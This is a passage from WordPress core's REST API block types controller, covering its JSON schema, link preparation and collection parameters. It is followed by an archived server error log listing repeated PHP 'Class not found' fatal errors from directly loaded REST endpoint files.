				'keywords',
				'parent',
				'ancestor',
				'allowed_blocks',
				'provides_context',
				'uses_context',
				'selectors',
				'supports',
				'styles',
				'textdomain',
				'example',
				'editor_script_handles',
				'script_handles',
				'view_script_handles',
				'view_script_module_ids',
				'editor_style_handles',
				'style_handles',
				'view_style_handles',
				'variations',
				'block_hooks',
			),
			$deprecated_fields
		);
		foreach ( $extra_fields as $extra_field ) {
			if ( rest_is_field_included( $extra_field, $fields ) ) {
				if ( isset( $block_type->$extra_field ) ) {
					$field = $block_type->$extra_field;
					if ( in_array( $extra_field, $deprecated_fields, true ) && is_array( $field ) ) {
						// Since the schema only allows strings or null (but no arrays), we return the first array item.
						$field = ! empty( $field ) ? array_shift( $field ) : '';
					}
				} elseif ( array_key_exists( 'default', $schema['properties'][ $extra_field ] ) ) {
					$field = $schema['properties'][ $extra_field ]['default'];
				} else {
					$field = '';
				}
				$data[ $extra_field ] = rest_sanitize_value_from_schema( $field, $schema['properties'][ $extra_field ] );
			}
		}

		if ( rest_is_field_included( 'styles', $fields ) ) {
			$styles         = $this->style_registry->get_registered_styles_for_block( $block_type->name );
			$styles         = array_values( $styles );
			$data['styles'] = wp_parse_args( $styles, $data['styles'] );
			$data['styles'] = array_filter( $data['styles'] );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $block_type ) );
		}

		/**
		 * Filters a block type returned from the REST API.
		 *
		 * Allows modification of the block type data right before it is returned.
		 *
		 * @since 5.5.0
		 *
		 * @param WP_REST_Response $response   The response object.
		 * @param WP_Block_Type    $block_type The original block type object.
		 * @param WP_REST_Request  $request    Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_block_type', $response, $block_type, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_Block_Type $block_type Block type data.
	 * @return array Links for the given block type.
	 */
	protected function prepare_links( $block_type ) {
		list( $namespace ) = explode( '/', $block_type->name );

		$links = array(
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $block_type->name ) ),
			),
			'up'         => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $namespace ) ),
			),
		);

		if ( $block_type->is_dynamic() ) {
			$links['https://api.w.org/render-block'] = array(
				'href' => add_query_arg(
					'context',
					'edit',
					rest_url( sprintf( '%s/%s/%s', 'wp/v2', 'block-renderer', $block_type->name ) )
				),
			);
		}

		return $links;
	}

	/**
	 * Retrieves the block type' schema, conforming to JSON Schema.
	 *
	 * @since 5.5.0
	 * @since 6.3.0 Added `selectors` field.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		// rest_validate_value_from_schema doesn't understand $refs, pull out reused definitions for readability.
		$inner_blocks_definition = array(
			'description' => __( 'The list of inner blocks used in the example.' ),
			'type'        => 'array',
			'items'       => array(
				'type'       => 'object',
				'properties' => array(
					'name'        => array(
						'description' => __( 'The name of the inner block.' ),
						'type'        => 'string',
						'pattern'     => self::NAME_PATTERN,
						'required'    => true,
					),
					'attributes'  => array(
						'description' => __( 'The attributes of the inner block.' ),
						'type'        => 'object',
					),
					'innerBlocks' => array(
						'description' => __( "A list of the inner block's own inner blocks. This is a recursive definition following the parent innerBlocks schema." ),
						'type'        => 'array',
					),
				),
			),
		);

		$example_definition = array(
			'description' => __( 'Block example.' ),
			'type'        => array( 'object', 'null' ),
			'default'     => null,
			'properties'  => array(
				'attributes'  => array(
					'description' => __( 'The attributes used in the example.' ),
					'type'        => 'object',
				),
				'innerBlocks' => $inner_blocks_definition,
			),
			'context'     => array( 'embed', 'view', 'edit' ),
			'readonly'    => true,
		);

		$keywords_definition = array(
			'description' => __( 'Block keywords.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
			'default'     => array(),
			'context'     => array( 'embed', 'view', 'edit' ),
			'readonly'    => true,
		);

		$icon_definition = array(
			'description' => __( 'Icon of block type.' ),
			'type'        => array( 'string', 'null' ),
			'default'     => null,
			'context'     => array( 'embed', 'view', 'edit' ),
			'readonly'    => true,
		);

		$category_definition = array(
			'description' => __( 'Block category.' ),
			'type'        => array( 'string', 'null' ),
			'default'     => null,
			'context'     => array( 'embed', 'view', 'edit' ),
			'readonly'    => true,
		);

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'block-type',
			'type'       => 'object',
			'properties' => array(
				'api_version'            => array(
					'description' => __( 'Version of block API.' ),
					'type'        => 'integer',
					'default'     => 1,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'title'                  => array(
					'description' => __( 'Title of block type.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'name'                   => array(
					'description' => __( 'Unique name identifying the block type.' ),
					'type'        => 'string',
					'pattern'     => self::NAME_PATTERN,
					'required'    => true,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'description'            => array(
					'description' => __( 'Description of block type.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'icon'                   => $icon_definition,
				'attributes'             => array(
					'description'          => __( 'Block attributes.' ),
					'type'                 => array( 'object', 'null' ),
					'properties'           => array(),
					'default'              => null,
					'additionalProperties' => array(
						'type' => 'object',
					),
					'context'              => array( 'embed', 'view', 'edit' ),
					'readonly'             => true,
				),
				'provides_context'       => array(
					'description'          => __( 'Context provided by blocks of this type.' ),
					'type'                 => 'object',
					'properties'           => array(),
					'additionalProperties' => array(
						'type' => 'string',
					),
					'default'              => array(),
					'context'              => array( 'embed', 'view', 'edit' ),
					'readonly'             => true,
				),
				'uses_context'           => array(
					'description' => __( 'Context values inherited by blocks of this type.' ),
					'type'        => 'array',
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'selectors'              => array(
					'description' => __( 'Custom CSS selectors.' ),
					'type'        => 'object',
					'default'     => array(),
					'properties'  => array(),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'supports'               => array(
					'description' => __( 'Block supports.' ),
					'type'        => 'object',
					'default'     => array(),
					'properties'  => array(),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'category'               => $category_definition,
				'is_dynamic'             => array(
					'description' => __( 'Is the block dynamically rendered.' ),
					'type'        => 'boolean',
					'default'     => false,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'editor_script_handles'  => array(
					'description' => __( 'Editor script handles.' ),
					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'script_handles'         => array(
					'description' => __( 'Public facing and editor script handles.' ),
					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'view_script_handles'    => array(
					'description' => __( 'Public facing script handles.' ),
					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'view_script_module_ids' => array(
					'description' => __( 'Public facing script module IDs.' ),
					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'editor_style_handles'   => array(
					'description' => __( 'Editor style handles.' ),
					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'style_handles'          => array(
					'description' => __( 'Public facing and editor style handles.' ),
					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'view_style_handles'     => array(
					'description' => __( 'Public facing style handles.' ),
					'type'        => array( 'array' ),
					'default'     => array(),
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'styles'                 => array(
					'description' => __( 'Block style variations.' ),
					'type'        => 'array',
					'items'       => array(
						'type'       => 'object',
						'properties' => array(
							'name'         => array(
								'description' => __( 'Unique name identifying the style.' ),
								'type'        => 'string',
								'required'    => true,
							),
							'label'        => array(
								'description' => __( 'The human-readable label for the style.' ),
								'type'        => 'string',
							),
							'inline_style' => array(
								'description' => __( 'Inline CSS code that registers the CSS class required for the style.' ),
								'type'        => 'string',
							),
							'style_handle' => array(
								'description' => __( 'Contains the handle that defines the block style.' ),
								'type'        => 'string',
							),
						),
					),
					'default'     => array(),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'variations'             => array(
					'description' => __( 'Block variations.' ),
					'type'        => 'array',
					'items'       => array(
						'type'       => 'object',
						'properties' => array(
							'name'        => array(
								'description' => __( 'The unique and machine-readable name.' ),
								'type'        => 'string',
								'required'    => true,
							),
							'title'       => array(
								'description' => __( 'A human-readable variation title.' ),
								'type'        => 'string',
								'required'    => true,
							),
							'description' => array(
								'description' => __( 'A detailed variation description.' ),
								'type'        => 'string',
								'required'    => false,
							),
							'category'    => $category_definition,
							'icon'        => $icon_definition,
							'isDefault'   => array(
								'description' => __( 'Indicates whether the current variation is the default one.' ),
								'type'        => 'boolean',
								'required'    => false,
								'default'     => false,
							),
							'attributes'  => array(
								'description' => __( 'The initial values for attributes.' ),
								'type'        => 'object',
							),
							'innerBlocks' => $inner_blocks_definition,
							'example'     => $example_definition,
							'scope'       => array(
								'description' => __( 'The list of scopes where the variation is applicable. When not provided, it assumes all available scopes.' ),
								'type'        => array( 'array', 'null' ),
								'default'     => null,
								'items'       => array(
									'type' => 'string',
									'enum' => array( 'block', 'inserter', 'transform' ),
								),
								'readonly'    => true,
							),
							'keywords'    => $keywords_definition,
						),
					),
					'readonly'    => true,
					'context'     => array( 'embed', 'view', 'edit' ),
					'default'     => null,
				),
				'textdomain'             => array(
					'description' => __( 'Public text domain.' ),
					'type'        => array( 'string', 'null' ),
					'default'     => null,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'parent'                 => array(
					'description' => __( 'Parent blocks.' ),
					'type'        => array( 'array', 'null' ),
					'items'       => array(
						'type'    => 'string',
						'pattern' => self::NAME_PATTERN,
					),
					'default'     => null,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'ancestor'               => array(
					'description' => __( 'Ancestor blocks.' ),
					'type'        => array( 'array', 'null' ),
					'items'       => array(
						'type'    => 'string',
						'pattern' => self::NAME_PATTERN,
					),
					'default'     => null,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'allowed_blocks'         => array(
					'description' => __( 'Allowed child block types.' ),
					'type'        => array( 'array', 'null' ),
					'items'       => array(
						'type'    => 'string',
						'pattern' => self::NAME_PATTERN,
					),
					'default'     => null,
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'keywords'               => $keywords_definition,
				'example'                => $example_definition,
				'block_hooks'            => array(
					'description'       => __( 'This block is automatically inserted near any occurrence of the block types used as keys of this map, into a relative position given by the corresponding value.' ),
					'type'              => 'object',
					'patternProperties' => array(
						self::NAME_PATTERN => array(
							'type' => 'string',
							'enum' => array( 'before', 'after', 'first_child', 'last_child' ),
						),
					),
					'default'           => array(),
					'context'           => array( 'embed', 'view', 'edit' ),
					'readonly'          => true,
				),
			),
		);

		// Properties deprecated in WordPress 6.1, but left in the schema for backwards compatibility.
		$deprecated_properties      = array(
			'editor_script' => array(
				'description' => __( 'Editor script handle. DEPRECATED: Use `editor_script_handles` instead.' ),
				'type'        => array( 'string', 'null' ),
				'default'     => null,
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
			),
			'script'        => array(
				'description' => __( 'Public facing and editor script handle. DEPRECATED: Use `script_handles` instead.' ),
				'type'        => array( 'string', 'null' ),
				'default'     => null,
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
			),
			'view_script'   => array(
				'description' => __( 'Public facing script handle. DEPRECATED: Use `view_script_handles` instead.' ),
				'type'        => array( 'string', 'null' ),
				'default'     => null,
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
			),
			'editor_style'  => array(
				'description' => __( 'Editor style handle. DEPRECATED: Use `editor_style_handles` instead.' ),
				'type'        => array( 'string', 'null' ),
				'default'     => null,
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
			),
			'style'         => array(
				'description' => __( 'Public facing and editor style handle. DEPRECATED: Use `style_handles` instead.' ),
				'type'        => array( 'string', 'null' ),
				'default'     => null,
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
			),
		);
		$this->schema['properties'] = array_merge( $this->schema['properties'], $deprecated_properties );

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 5.5.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context'   => $this->get_context_param( array( 'default' => 'view' ) ),
			'namespace' => array(
				'description' => __( 'Block namespace.' ),
				'type'        => 'string',
			),
		);
	}
}
endpoints/error_log000064400000352146151024200430010466 0ustar00[27-Oct-2025 20:21:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18
[27-Oct-2025 20:21:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17
[27-Oct-2025 20:27:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17
[27-Oct-2025 20:28:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17
[27-Oct-2025 20:32:45 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17
[27-Oct-2025 20:33:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17
[27-Oct-2025 20:35:40 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17
[27-Oct-2025 20:36:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17
[27-Oct-2025 20:39:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17
[27-Oct-2025 20:40:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17
[27-Oct-2025 20:44:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17
[27-Oct-2025 22:00:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15
[27-Oct-2025 22:10:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17
[27-Oct-2025 22:10:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13
[27-Oct-2025 22:14:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17
[27-Oct-2025 22:15:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17
[27-Oct-2025 22:27:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17
[27-Oct-2025 22:38:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17
[27-Oct-2025 22:38:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17
[27-Oct-2025 22:43:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17
[27-Oct-2025 22:44:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17
[27-Oct-2025 22:46:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17
[27-Oct-2025 23:03:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13
[27-Oct-2025 23:17:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17
[27-Oct-2025 23:17:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17
[27-Oct-2025 23:20:04 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20
[27-Oct-2025 23:23:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17
[27-Oct-2025 23:52:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17
[27-Oct-2025 23:52:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17
[27-Oct-2025 23:54:22 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19
[27-Oct-2025 23:54:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17
[28-Oct-2025 00:00:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17
[28-Oct-2025 00:21:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17
[28-Oct-2025 00:22:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17
[28-Oct-2025 00:24:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18
[28-Oct-2025 00:27:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17
[28-Oct-2025 00:33:04 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20
[28-Oct-2025 00:55:55 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17
